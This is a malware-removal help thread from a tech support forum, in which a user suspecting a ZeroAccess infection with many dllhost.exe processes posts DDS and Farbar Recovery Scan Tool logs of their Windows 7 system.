Jump to content


 


Register a free account to unlock additional features at BleepingComputer.com
Welcome to BleepingComputer, a free community where people like yourself come together to discuss and learn how to use their computers. Using the site is easy and fun. As a guest, you can browse and view the various discussions in the forums, but can not create a new topic or reply to an existing one unless you are logged in. Other benefits of registering an account are subscribing to topics and forums, creating a blog, and having no ads shown anywhere on the site.


Click here to Register a free account now! or read our Welcome Guide to learn how to use this site.

Photo

Multiple DLLHOST.EXE processes/Zero Access?


  • This topic is locked This topic is locked
19 replies to this topic

#1 KydaSteve

KydaSteve

  • Members
  • 10 posts
  • OFFLINE
  •  
  • Local time:09:51 PM

Posted 10 July 2014 - 01:02 PM

Hello, I have a computer that seems to be infected with Zero access. 

 

I have installed Malwarebytes, Hitmanpro, Combofix, TDSS Killer, Norton Power Eraser, AWCleaner, and Rougekiller all to no success.

When malwarebytes is installed and active it blocked multiple calls to outside IP Addresses without a browser open.

 

Here is my DDS Log file. 

 

.
UNLESS SPECIFICALLY INSTRUCTED, DO NOT POST THIS LOG.
IF REQUESTED, ZIP IT UP & ATTACH IT
.
DDS (Ver_2012-11-20.01)
.
Microsoft Windows 7 Ultimate 
Boot Device: \Device\HarddiskVolume1
Install Date: 4/5/2013 7:15:11 PM
System Uptime: 7/10/2014 9:38:01 AM (4 hours ago)
.
Motherboard: BIOSTAR Group |  | A960G+
Processor: AMD FX™-4100 Quad-Core Processor             | CPU 1 | 3600/200mhz
.
==== Disk Partitions =========================
.
A: is Removable
C: is FIXED (NTFS) - 1863 GiB total, 1676.464 GiB free.
D: is CDROM ()
E: is FIXED (NTFS) - 228 GiB total, 100.873 GiB free.
F: is Removable
G: is CDROM ()
.
==== Disabled Device Manager Items =============
.
Class GUID: {4d36e971-e325-11ce-bfc1-08002be10318}
Description: Officejet Pro L7600
Device ID: ROOT\MULTIFUNCTION\0000
Manufacturer: HP
Name: Officejet Pro L7600
PNP Device ID: ROOT\MULTIFUNCTION\0000
Service: 
.
==== System Restore Points ===================
.
RP93: 7/8/2014 9:28:43 AM - Checkpoint by HitmanPro
RP94: 7/8/2014 9:31:43 AM - Checkpoint by HitmanPro
RP95: 7/8/2014 11:23:55 AM - Restore Operation
RP96: 7/8/2014 11:46:19 AM - Removed SpyHunter
RP97: 7/8/2014 11:53:53 AM - Restore Operation
RP98: 7/8/2014 12:17:38 PM - Norton_Power_Eraser_20140708121733086
RP99: 7/8/2014 12:25:06 PM - Restore Operation
.
==== Installed Programs ======================
.
64 Bit HP CIO Components Installer
7500_7600_7700_Help1
ABOS Fall/Winter MY2014
ABOS Spring/Summer MY2012
ABOS Spring/Summer MY2013
ABOS Spring/Summer MY2014
Adobe Flash Player 13 ActiveX
Adobe Reader XI (11.0.07)
Apple Application Support
Apple Mobile Device Support
Apple Software Update
ATI Catalyst Install Manager
ATI Catalyst Registration
Bonjour
bpd_scan_Carrier
BPDSoftware
BPDSoftware_Ini
BufferChm
Catalyst Control Center - Branding
Catalyst Control Center Core Implementation
Catalyst Control Center Graphics Full Existing
Catalyst Control Center Graphics Full New
Catalyst Control Center Graphics Light
Catalyst Control Center Graphics Previews Common
Catalyst Control Center Graphics Previews Vista
Catalyst Control Center HydraVision Full
Catalyst Control Center InstallProxy
ccc-core-static
ccc-utility64
CCC Help English
CCleaner
Common Desktop Agent
DAEMON Tools Lite
Destinations
DeviceDiscovery
DocProc
Dragon NaturallySpeaking 12
Dropbox
Endpoint
Endpoint Security by Bitdefender
Fax
FileZilla Client 3.6.0.2
Google Chrome
Google Update Helper
GPBaseService2
HP Customer Participation Program 14.0
HP Imaging Device Functions 14.0
HP OfficeJet L7300/L7500/7600/7700
HP Smart Web Printing 4.60
HP Solution Center 14.0
HP Update
HPDiagnosticAlert
HPProductAssistant
HPSSupply
ImgBurn
iTunes
L7600
LogMeIn
MarketResearch
Microsoft .NET Framework 4 Client Profile
Microsoft .NET Framework 4 Extended
Microsoft MapPoint North America 2010
Microsoft Mouse and Keyboard Center
Microsoft Office 2007 Service Pack 3 (SP3)
Microsoft Office Access database engine 2007 (English)
Microsoft Office Access MUI (English) 2007
Microsoft Office Access Setup Metadata MUI (English) 2007
Microsoft Office Enterprise 2007
Microsoft Office Excel MUI (English) 2007
Microsoft Office Groove MUI (English) 2007
Microsoft Office Groove Setup Metadata MUI (English) 2007
Microsoft Office InfoPath MUI (English) 2007
Microsoft Office Office 64-bit Components 2007
Microsoft Office OneNote MUI (English) 2007
Microsoft Office Outlook MUI (English) 2007
Microsoft Office PowerPoint MUI (English) 2007
Microsoft Office Proof (English) 2007
Microsoft Office Proof (French) 2007
Microsoft Office Proof (Spanish) 2007
Microsoft Office Proofing (English) 2007
Microsoft Office Proofing Tools 2007 Service Pack 3 (SP3)
Microsoft Office Publisher MUI (English) 2007
Microsoft Office Shared 64-bit MUI (English) 2007
Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2007
Microsoft Office Shared MUI (English) 2007
Microsoft Office Shared Setup Metadata MUI (English) 2007
Microsoft Office Word MUI (English) 2007
Microsoft Silverlight
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable Package
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219
MPM
MSXML 4.0 SP2 (KB954430)
MSXML 4.0 SP2 (KB973688)
MSXML 4.0 SP2 Parser and SDK
Network64
OCR Software by I.R.I.S. 14.0
PowerBoat Guide 2012
PowerBoat Guide 2013
ProductContext
Realtek Ethernet Controller Driver
Realtek High Definition Audio Driver
Samsung Easy Printer Manager
Samsung ML-2160 Series
Samsung Printer Live Update
Scan
Security Update for Microsoft .NET Framework 4 Client Profile (KB2604121)
Security Update for Microsoft .NET Framework 4 Client Profile (KB2656351)
Security Update for Microsoft .NET Framework 4 Client Profile (KB2729449)
Security Update for Microsoft .NET Framework 4 Client Profile (KB2736428)
Security Update for Microsoft .NET Framework 4 Client Profile (KB2737019)
Security Update for Microsoft .NET Framework 4 Client Profile (KB2742595)
Security Update for Microsoft .NET Framework 4 Client Profile (KB2789642)
Security Update for Microsoft .NET Framework 4 Extended (KB2487367)
Security Update for Microsoft .NET Framework 4 Extended (KB2656351)
Security Update for Microsoft .NET Framework 4 Extended (KB2736428)
Security Update for Microsoft .NET Framework 4 Extended (KB2742595)
Security Update for Microsoft Office 2007 suites (KB2596615) 32-Bit Edition 
Security Update for Microsoft Office 2007 suites (KB2596672) 32-Bit Edition 
Security Update for Microsoft Office 2007 suites (KB2596744) 32-Bit Edition 
Security Update for Microsoft Office 2007 suites (KB2596754) 32-Bit Edition 
Security Update for Microsoft Office 2007 suites (KB2596785) 32-Bit Edition
Security Update for Microsoft Office 2007 suites (KB2596792) 32-Bit Edition
Security Update for Microsoft Office 2007 suites (KB2596871) 32-Bit Edition
Security Update for Microsoft Office 2007 suites (KB2597969) 32-Bit Edition
Security Update for Microsoft Office 2007 suites (KB2687311) 32-Bit Edition 
Security Update for Microsoft Office 2007 suites (KB2687439) 32-Bit Edition 
Security Update for Microsoft Office 2007 suites (KB2687441) 32-Bit Edition 
Security Update for Microsoft Office 2007 suites (KB2687499) 32-Bit Edition 
Security Update for Microsoft Office 2007 suites (KB2760416) 32-Bit Edition 
Security Update for Microsoft Office Excel 2007 (KB2687307) 32-Bit Edition 
Security Update for Microsoft Office InfoPath 2007 (KB2687440) 32-Bit Edition 
Security Update for Microsoft Office PowerPoint 2007 (KB2596764) 32-Bit Edition
Security Update for Microsoft Office PowerPoint 2007 (KB2596912) 32-Bit Edition
Security Update for Microsoft Office Publisher 2007 (KB2596705) 32-Bit Edition
Security Update for Microsoft Office Word 2007 (KB2760421) 32-Bit Edition 
Shop for HP Supplies
SmartWebPrinting
SolutionCenter
Status
TeamViewer 9
Toolbox
TrayApp
Update for 2007 Microsoft Office System (KB967642)
Update for Microsoft .NET Framework 4 Client Profile (KB2468871)
Update for Microsoft .NET Framework 4 Client Profile (KB2533523)
Update for Microsoft .NET Framework 4 Client Profile (KB2600217)
Update for Microsoft .NET Framework 4 Extended (KB2468871)
Update for Microsoft .NET Framework 4 Extended (KB2533523)
Update for Microsoft .NET Framework 4 Extended (KB2600217)
Update for Microsoft Office 2007 suites (KB2596620) 32-Bit Edition
Update for Microsoft Office 2007 suites (KB2596660) 32-Bit Edition
Update for Microsoft Office 2007 suites (KB2596802) 32-Bit Edition
Update for Microsoft Office 2007 suites (KB2596848) 32-Bit Edition
Update for Microsoft Office 2007 suites (KB2767916) 32-Bit Edition
Update for Microsoft Office Outlook 2007 (KB2687404) 32-Bit Edition
Update for Microsoft Office Outlook 2007 Junk Email Filter (KB2768021) 32-Bit Edition
WebReg
Win2PDF 7
Windows Live ID Sign-in Assistant
.
==== Event Viewer Messages From Past Week ========
.
7/9/2014 9:54:49 PM, Error: Service Control Manager [7006]  - The ScRegSetValueExW call failed for Start with the following error:  Access is denied.
7/9/2014 9:46:44 PM, Error: Schannel [36888]  - The following fatal alert was generated: 40. The internal error state is 107.
7/9/2014 9:46:44 PM, Error: Schannel [36874]  - An SSL 3.0 connection request was received from a remote client application, but none of the cipher suites supported by the client application are supported by the server. The SSL connection request has failed.
7/9/2014 9:18:38 PM, Error: Service Control Manager [7030]  - The PEVSystemStart service is marked as an interactive service.  However, the system is configured to not allow interactive services.  This service may not function properly.
7/9/2014 9:07:48 PM, Error: Application Popup [1060]  - \??\C:\ComboFix\catchme.sys has been blocked from loading due to incompatibility with this system. Please contact your software vendor for a compatible version of the driver.
7/9/2014 9:07:32 PM, Error: Service Control Manager [7034]  - The hpqcxs08 service terminated unexpectedly.  It has done this 1 time(s).
7/9/2014 9:07:32 PM, Error: Service Control Manager [7034]  - The HP CUE DeviceDiscovery Service service terminated unexpectedly.  It has done this 1 time(s).
7/8/2014 8:32:09 AM, Error: Service Control Manager [7032]  - The Service Control Manager tried to take a corrective action (Restart the service) after the unexpected termination of the Bitdefender Endpoint Host Service service, but this action failed with the following error:  An instance of the service is already running.
7/8/2014 12:52:54 PM, Error: Application Popup [1060]  - \??\C:\Windows\SysWow64\drivers\TrueSight.sys has been blocked from loading due to incompatibility with this system. Please contact your software vendor for a compatible version of the driver.
7/8/2014 12:07:29 PM, Error: Service Control Manager [7030]  - The NPEService service is marked as an interactive service.  However, the system is configured to not allow interactive services.  This service may not function properly.
7/8/2014 11:18:30 AM, Error: Service Control Manager [7009]  - A timeout was reached (30000 milliseconds) while waiting for the LogMeIn service to connect.
7/10/2014 1:48:21 AM, Error: Service Control Manager [7031]  - The Bitdefender Endpoint Host Service service terminated unexpectedly.  It has done this 1 time(s).  The following corrective action will be taken in 43200000 milliseconds: Restart the service.
.
==== End Of File ===========================
 
 
 

Attached Files



BC AdBot (Login to Remove)

 


#2 KydaSteve

KydaSteve
  • Topic Starter

  • Members
  • 10 posts
  • OFFLINE
  •  
  • Local time:09:51 PM

Posted 10 July 2014 - 01:27 PM

Also I have preemptively ran FRST Scan

 

Scan result of Farbar Recovery Scan Tool (FRST.txt) (x64) Version: 09-07-2014
Ran by Dennis (administrator) on DENNIS-PC on 10-07-2014 14:16:19
Running from C:\Users\Dennis\Downloads
Platform: Windows 7 Ultimate Service Pack 1 (X64) OS Language: English (United States)
Internet Explorer Version 9
Boot Mode: Normal
 
The only official download link for FRST:
Download link from any site other than Bleeping Computer is unpermitted or outdated.
 
==================== Processes (Whitelisted) =================
 
(Bitdefender) C:\Program Files\Bitdefender\Endpoint\endpointintegration.exe
(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe
(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe
(Microsoft Corporation) C:\Windows\System32\PrintIsolationHost.exe
(Bitdefender) C:\Program Files\Bitdefender\Endpoint\endpointservice.exe
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\LogMeInSystray.exe
(Bitdefender) C:\Program Files\Common Files\Bitdefender\Endpoint Agent\epag.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\LMIGuardianSvc.exe
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\ramaint.exe
(Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\LogMeIn.exe
(Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
(Microsoft Corporation) C:\Windows\System32\UI0Detect.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Bitdefender) C:\Program Files\Bitdefender\Endpoint\console.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\WerFault.exe
(LogMeIn, Inc.) C:\Program Files (x86)\LogMeIn\x64\LogMeIn.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\WerFault.exe
(Microsoft Corporation) C:\Windows\SysWOW64\notepad.exe
(Microsoft Corporation) C:\Windows\SysWOW64\notepad.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
 
 
==================== Registry (Whitelisted) ==================
 
HKLM\...\Run: [LogMeIn GUI] => C:\Program Files (x86)\LogMeIn\x64\LogMeInSystray.exe [57928 2012-11-29] (LogMeIn, Inc.)
HKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [59720 2013-09-13] (Apple Inc.)
HKLM-x32\...\Run: [DNS7reminder] => C:\Program Files (x86)\Nuance\NaturallySpeaking12\Ereg\Ereg.exe [328992 2010-10-27] (Nuance Communications, Inc.)
HKLM-x32\...\Run: [] => [X]
HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [152392 2013-11-02] (Apple Inc.)
HKLM-x32\...\Run: [Adobe ARM] => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [959904 2014-05-08] (Adobe Systems Incorporated)
AppInit_DLLs-x32: C:\ProgramData\e.dll => C:\ProgramData\e.dll [53248 2014-07-10] ()
IFEO\ehshell.exe: [Debugger] "C:\Program Files (x86)\LogMeIn\x64\LogMeInSystray.exe" -MceShellRedirect
ShellIconOverlayIdentifiers: DropboxExt1 -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers: DropboxExt2 -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers: DropboxExt3 -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers: DropboxExt4 -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers-x32: DropboxExt1 -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers-x32: DropboxExt2 -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers-x32: DropboxExt3 -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} =>  No File
ShellIconOverlayIdentifiers-x32: DropboxExt4 -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} =>  No File
 
==================== Internet (Whitelisted) ====================
 
HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = en-US
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache_TIMESTAMP = 0xEAD2667AF132CE01
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = about:blank
StartMenuInternet: IEXPLORE.EXE - C:\Program Files (x86)\Internet Explorer\iexplore.exe
SearchScopes: HKLM-x32 - DefaultScope value is missing.
BHO: Windows Live ID Sign-in Helper - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corporation)
BHO-x32: HP Print Enhancer - {0347C33E-8762-4905-BF09-768834316C61} - C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\hpswp_printenhancer.dll (Hewlett-Packard Co.)
BHO-x32: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C:\Program Files (x86)\Microsoft Office\Office12\GrooveShellExtensions.dll (Microsoft Corporation)
BHO-x32: Dragon NaturallySpeaking Rich Internet Application Support - Extension - {73A89C60-CF59-4EC7-9215-9B7EF05ECEA4} - C:\Program Files (x86)\Nuance\NaturallySpeaking12\Program\ieShim.dll (Nuance Communications, Inc.)
BHO-x32: Windows Live ID Sign-in Helper - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corporation)
BHO-x32: HP Smart BHO Class - {FFFFFFFF-CF4E-4F2B-BDC2-0E72E116A856} - C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\hpswp_BHO.dll (Hewlett-Packard Co.)
Tcpip\Parameters: [DhcpNameServer] 75.75.76.76 75.75.75.75
Tcpip\..\Interfaces\{7698C383-1641-4B3E-BA75-A3F41C3E5A41}: [NameServer]8.8.8.8,8.8.8.8
Tcpip\..\Interfaces\{8D4ABF0B-2683-48BE-B0BA-D6577E62FDAB}: [NameServer]8.8.8.8,8.8.8.8
 
FireFox:
========
FF Plugin: @microsoft.com/GENUINE - disabled No File
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 - c:\Program Files\Microsoft Silverlight\5.1.20513.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: @Apple.com/iTunes,version=1.0 - C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()
FF Plugin-x32: @microsoft.com/GENUINE - disabled No File
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 - c:\Program Files (x86)\Microsoft Silverlight\5.1.20513.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 - C:\Program Files (x86)\Google\Update\1.3.24.15\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 - C:\Program Files (x86)\Google\Update\1.3.24.15\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: Adobe Reader - C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)
FF Plugin-x32: nuance.com/DragonRIAPlugin - C:\PROGRA~2\Nuance\NATURA~1\Program\npDgnRia.dll (Nuance Communications Inc.)
FF HKLM-x32\...\Firefox\Extensions: [jid0-lmZNVK7a82O8cufhdfB9dUDfA2w@jetpack] - C:\Program Files (x86)\Nuance\NaturallySpeaking12\Program\ffShim.xpi
FF Extension: Dragon NaturallySpeaking Rich Internet Application Support - C:\Program Files (x86)\Nuance\NaturallySpeaking12\Program\ffShim.xpi [2013-10-15]
FF HKLM-x32\...\Firefox\Extensions: [smartwebprinting@hp.com] - C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\MozillaAddOn3
FF Extension: HP Smart Web Printing - C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\MozillaAddOn3 [2013-04-27]
FF HKCU\...\Firefox\Extensions: [smartwebprinting@hp.com] - C:\Program Files (x86)\HP\Digital Imaging\Smart Web Printing\MozillaAddOn3
 
Chrome: 
=======
CHR HomePage: 
CHR Extension: (Floorplanner) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\abopacaefhbognnmeigicfpgnmpideag [2014-02-22]
CHR Extension: (Google Docs) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2013-06-13]
CHR Extension: (Google Drive) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2014-02-03]
CHR Extension: (Google Voice Search Hotword (Beta)) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\bepbmhgboaologfdajaanbcjmnhjmhfn [2014-05-24]
CHR Extension: (YouTube) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2014-02-03]
CHR Extension: (Google Search) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2014-02-03]
CHR Extension: (Dragon NaturallySpeaking Rich Internet Application Support) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\mikhcaiakabeeokmenglcdebplfdjicn [2013-06-13]
CHR Extension: (Google Wallet) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2013-08-22]
CHR Extension: (Gmail) - C:\Users\Dennis\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2014-02-03]
CHR HKLM-x32\...\Chrome\Extension: [mikhcaiakabeeokmenglcdebplfdjicn] - C:\Program Files (x86)\Nuance\NaturallySpeaking12\Program\chromeShim.crx [2013-10-15]
 
==================== Services (Whitelisted) =================
 
R2 EndpointIntegration; C:\Program Files\Bitdefender\Endpoint\EndpointIntegration.exe [197136 2014-02-05] (Bitdefender)
R2 EndpointService; C:\Program Files\Bitdefender\Endpoint\EndpointService.exe [197136 2014-02-05] (Bitdefender)
R2 epag; C:\Program Files\Common Files\Bitdefender\Endpoint Agent\epag.exe [2162816 2014-02-05] (Bitdefender)
R2 LMIGuardianSvc; C:\Program Files (x86)\LogMeIn\x64\LMIGuardianSvc.exe [376144 2014-06-06] (LogMeIn, Inc.)
R2 LMIMaint; C:\Program Files (x86)\LogMeIn\x64\RaMaint.exe [226640 2014-06-06] (LogMeIn, Inc.)
R2 LogMeIn; C:\Program Files (x86)\LogMeIn\x64\LogMeIn.exe [407424 2012-11-29] (LogMeIn, Inc.)
R2 Net Driver HPZ12; C:\Windows\system32\HPZinw12.dll [50688 2012-02-08] (Hewlett-Packard) [File not signed]
R2 Pml Driver HPZ12; C:\Windows\system32\HPZipm12.dll [66048 2012-02-08] (Hewlett-Packard) [File not signed]
 
==================== Drivers (Whitelisted) ====================
 
R0 avc3; C:\Windows\System32\DRIVERS\avc3.sys [893440 2014-02-05] (BitDefender)
R3 avchv; C:\Windows\System32\DRIVERS\avchv.sys [261056 2012-11-02] (BitDefender)
S3 avckf; C:\Windows\System32\DRIVERS\avckf.sys [635392 2014-02-05] (BitDefender)
R1 Bdfndisf; c:\program files\bitdefender\endpoint\bdfndisf6.sys [93600 2014-02-05] (BitDefender LLC)
R1 Bdfwfpf; C:\Program Files\Bitdefender\Endpoint\bdfwfpf.sys [103504 2011-11-14] (BitDefender LLC)
R1 dtsoftbus01; C:\Windows\System32\DRIVERS\dtsoftbus01.sys [283200 2013-04-12] (DT Soft Ltd)
R0 gzflt; C:\Windows\System32\DRIVERS\gzflt.sys [150256 2013-11-18] (BitDefender LLC)
R2 LMIInfo; C:\Program Files (x86)\LogMeIn\x64\RaInfo.sys [16056 2013-05-26] (LogMeIn, Inc.)
S4 LMIRfsClientNP; No ImagePath
S3 RTL8187; C:\Windows\System32\DRIVERS\wg111v2.sys [340992 2007-12-26] (NETGEAR Inc.)
S3 Serial; C:\Windows\system32\DRIVERS\serial.sys [94208 2009-07-13] (Brother Industries Ltd.)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [564824 2013-04-12] (Duplex Secure Ltd.)
S3 SWDUMon; C:\Windows\System32\DRIVERS\SWDUMon.sys [15712 2013-04-22] ()
U3 TrueSight; C:\Windows\SysWOW64\drivers\TrueSight.sys [29696 2014-07-08] ()
R2 trufos; C:\Windows\System32\DRIVERS\trufos.sys [389240 2013-11-18] (BitDefender S.R.L.)
U3 a55v3dj9; C:\Windows\System32\Drivers\a55v3dj9.sys [0 ] (Advanced Micro Devices)
S3 catchme; \??\C:\ComboFix\catchme.sys [X]
S3 esgiguard; \??\C:\Program Files\Enigma Software Group\SpyHunter\esgiguard.sys [X]
S3 Synth3dVsc; System32\drivers\synth3dvsc.sys [X]
S3 tsusbhub; system32\drivers\tsusbhub.sys [X]
S3 VGPU; System32\drivers\rdvgkmd.sys [X]
 
==================== NetSvcs (Whitelisted) ===================
 
 
==================== One Month Created Files and Folders ========
 
2014-07-10 14:00 - 2014-07-10 14:00 - 00010762 _____ () C:\Users\Dennis\Documents\Attach.txt
2014-07-10 13:58 - 2014-07-10 13:58 - 00010762 _____ () C:\Users\Dennis\Desktop\attach.txt
2014-07-10 13:58 - 2014-07-10 13:57 - 00012329 _____ () C:\Users\Dennis\Desktop\dds.txt
2014-07-10 13:55 - 2014-07-10 13:55 - 00688992 ____R (Swearware) C:\Users\Dennis\Downloads\dds.com
2014-07-10 06:15 - 2014-07-10 06:15 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (3).ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394.ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (2).ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (1).ugd
2014-07-10 00:57 - 2014-07-10 00:57 - 00053248 _____ () C:\ProgramData\e.dll
2014-07-09 21:36 - 2014-07-09 21:37 - 00036349 _____ () C:\Users\Dennis\Downloads\Addition.txt
2014-07-09 21:33 - 2014-07-10 14:18 - 00014119 _____ () C:\Users\Dennis\Downloads\FRST.txt
2014-07-09 21:32 - 2014-07-10 14:17 - 00000000 ____D () C:\FRST
2014-07-09 21:32 - 2014-07-09 21:32 - 02084352 _____ (Farbar) C:\Users\Dennis\Downloads\FRST64.exe
2014-07-09 21:28 - 2014-07-09 21:28 - 00019814 _____ () C:\ComboFix.txt
2014-07-09 21:05 - 2014-07-09 21:05 - 00001475 _____ () C:\Users\Dennis\Desktop\ComboFix - Shortcut.lnk
2014-07-09 21:05 - 2014-07-08 13:15 - 05216105 ____R (Swearware) C:\Users\Dennis\Desktop\ComboFix.exe
2014-07-09 20:50 - 2014-07-09 20:50 - 01285120 _____ () C:\Users\Dennis\Downloads\zoek.exe
2014-07-09 20:50 - 2014-07-09 20:50 - 00000002 _____ () C:\runcheck.txt
2014-07-09 20:50 - 2014-07-09 20:50 - 00000000 ____D () C:\zoek_backup
2014-07-09 20:30 - 2014-07-09 21:19 - 00001318 _____ () C:\Windows\PFRO.log
2014-07-09 07:58 - 2014-07-09 07:58 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en (2).exe
2014-07-09 07:57 - 2014-07-09 07:57 - 00001178 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 9.lnk
2014-07-09 07:57 - 2014-07-09 07:57 - 00001166 _____ () C:\Users\Public\Desktop\TeamViewer 9.lnk
2014-07-09 07:57 - 2014-07-09 07:57 - 00001166 _____ () C:\ProgramData\Desktop\TeamViewer 9.lnk
2014-07-09 07:56 - 2014-07-09 07:56 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en.exe
